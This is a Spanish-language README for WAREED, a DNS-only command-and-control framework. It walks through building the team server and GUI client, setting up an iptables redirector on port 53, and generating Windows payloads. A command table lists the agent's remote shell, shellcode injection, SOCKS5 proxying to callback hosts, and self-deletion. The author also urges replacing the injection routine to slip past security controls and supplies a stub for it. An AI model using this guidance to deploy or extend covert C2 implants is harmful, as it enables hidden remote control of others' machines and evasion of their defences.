
Framework de comando y control exclusivo por DNS con agente para Windows, generación de payloads, ejecución remota de shell, inyección de shellcode y soporte de proxy SOCKS5 para operaciones encubiertas.

WAREED es un Comando y Control (C2) que utiliza el protocolo DNS para comunicaciones seguras entre el servidor y el objetivo. Diseñado para minimizar la comunicación y limitar el intercambio de datos, está pensado para ser un C2 de primera etapa que persista en máquinas que no tienen acceso a internet a través de HTTP/HTTPS, pero donde DNS está permitido.
desarrollado por : @Fsalabduljabbar

Si bien muchos frameworks de Comando y Control (C2) admiten DNS como protocolo de transporte, están predominantemente diseñados para HTTP/HTTPS. Migrar estos frameworks a DNS a menudo resulta en operaciones más lentas y menos estables. Al enfrentar numerosos desafíos con la inestabilidad de estos frameworks para transacciones DNS, me vi obligado a crear una solución adaptada específicamente a DNS. El resultado es Wareed, un framework C2 exclusivo de DNS. Este enfoque especializado produce una operación más estable y eficiente, haciendo que Wareed sea más rápido y fiable en comparación con los frameworks C2 tradicionales que no están diseñados principalmente para DNS. Esto convierte a Wareed en una opción ideal para entornos donde el tráfico DNS está permitido pero HTTP/HTTPS está restringido.
Ha sido desarrollado utilizando tres lenguajes de programación:
Explicación de los nombres:
Hams (همس) significa "susurro" en árabe
Wareed (وريد) significa "vena" en árabe
Ather (أثر) significa "rastro" en árabe
Paso 1: Clona el repositorio de Wareed:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
Paso 2: Ejecuta el script de configuración:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
Si el proceso de compilación se completa correctamente, se generarán dos archivos ejecutables en el mismo directorio:
También comprobará el estado de compilación del Agent. Si es exitoso, confirma que el Agent está listo para ser desplegado y operativo, lo cual es crítico para la funcionalidad del Wareed C2.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: la longitud debe ser igual a 3.
Configuración de DNS: Para operar Wareed, es esencial poseer un nombre de dominio válido. Después de adquirir un dominio, se deben configurar dos registros DNS para que apunten hacia el Redirector:

Configuración del Redirector:
El redirector manejará el tráfico DNS entrante en el puerto 53 y lo redirigirá al servidor de equipo. Para lograrlo, ejecuta los siguientes comandos iptables en la máquina redirectora (R1):
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
Este comando configura el firewall para aceptar paquetes UDP entrantes en el puerto 53, que es el puerto estándar para las solicitudes DNS.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
Reemplaza [TeamServer IP] con la dirección IP real de tu servidor de equipo y [teamserver listener port] con el número de puerto en el que tu servidor de equipo está escuchando. Este comando dirige todo el tráfico que llega al puerto 53 hacia la dirección IP y el puerto especificados del servidor de equipo.

Para iniciar el servidor de equipo Wareed por primera vez, debes especificar el archivo de configuración junto con la contraseña del cliente y el puerto en el que el cliente escuchará. Usa el siguiente comando para ejecutar el servidor de equipo Wareed:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Para lanzar el cliente GUI Ather, simplemente
./Ather
Al ejecutar el comando, aparecerá una nueva ventana con una página de inicio de sesión.

Detalles de inicio de sesión: En la página de inicio de sesión que aparece:
Ventana principal de Wareed:

Para generar un nuevo payload con el cliente GUI Ather, sigue estos pasos:
Navegar a la generación de payload:
Payload > Generate > Windows. Al seleccionar esta opción se abrirá una nueva ventana diseñada para la generación de payloads.
Después de generar un nuevo payload, una nueva sesión invitada se registra automáticamente con el servidor de equipo. Este proceso de registro garantiza que solo esta sesión específica pueda conectarse con el servidor de equipo. Utiliza un identificador único y un 'magic value' para autenticar y autorizar la sesión. Este mecanismo asegura una comunicación segura y controlada entre el payload recién generado y el servidor de equipo.

Después de ejecutar el payload en una máquina Windows, comenzará a generar consultas DNS para registrarse con el servidor de equipo. Este proceso de registro ocurre en cuestión de segundos y normalmente implica generar entre 3 y 5 consultas DNS.

Para interactuar con una sesión, simplemente haz clic derecho en la sesión deseada y selecciona "Interact" en el menú contextual. Esta acción abrirá una nueva pestaña con una interfaz de terminal. En esta terminal, puedes ejecutar comandos

Nota: El comando
injectes sencillo pero a menudo detectado por los controles de seguridad. Para mejorar el sigilo, deberías implementar tu propia técnica de inyección. Modifica el código de inyección enAgent/Source/Core/Tasks/Modules/Injection.c. Aquí tienes una plantilla básica para personalizar la función de inyección:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
Para limpiar la base de datos, simplemente ejecuta el siguiente comando en tu terminal:
./Run clean
Aunque no tengo planes inmediatos de seguir invirtiendo tiempo en el proyecto Wareed, ha sido un increíble viaje de aprendizaje y lo he disfrutado profundamente. Me complace anunciar que planeo lanzar un nuevo proyecto importante, THAWD BAS. Para más información, visita Thawd.io.
Si tienes habilidades de desarrollo y estás interesado en contribuir a Wareed, aquí tienes un par de oportunidades:
Este trabajo no podría haberse logrado sin la contribución de varios proyectos de código abierto excepcionales:
DNSStager por - @mohammadaskar2
Boomerang por - @NinjaParanoid
delete-self-poc por - @LloydLabs
| Comando | Descripción | Uso | Ejemplo |
|---|
| help | Muestra el mensaje de ayuda del comando especificado | [command] | help shell |
| sleep | establece el retraso de sleep con jitter | [delay] [jitter] | sleep 10 50 |
| shell | ejecuta comandos de cmd.exe y obtiene la salida | [commands] | shell dir c:\windows\system32 (por favor no lo hagas) |
| inject | inyecta shellcode en un proceso remoto | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | inicia un proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | detiene un proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | añade un nuevo dominio de callback | [domain_name] | adddomain example.com |
| deldomain | elimina un dominio de callback | [domain_name] | deldomain example.com |
| listdomain | lista todos los dominios de callback activos | listdomain | |
| kill | Termina el proceso actual. | [yes] | kill yes |
| wipe | Termina y elimina el proceso actual. | [yes] | wipe yes |
| selfdel | Elimina el proceso actual del disco. | [yes] | selfdel yes |
| tasklist | Lista todas las tareas en cola | tasklist | |
| taskdel | Elimina una tarea específica por ID | [task id] | taskdel 123 |
| tasksclean | Elimina todas las tareas de la cola | [yes] | tasksclean yes |
| clear | limpia la pantalla de la terminal | clear |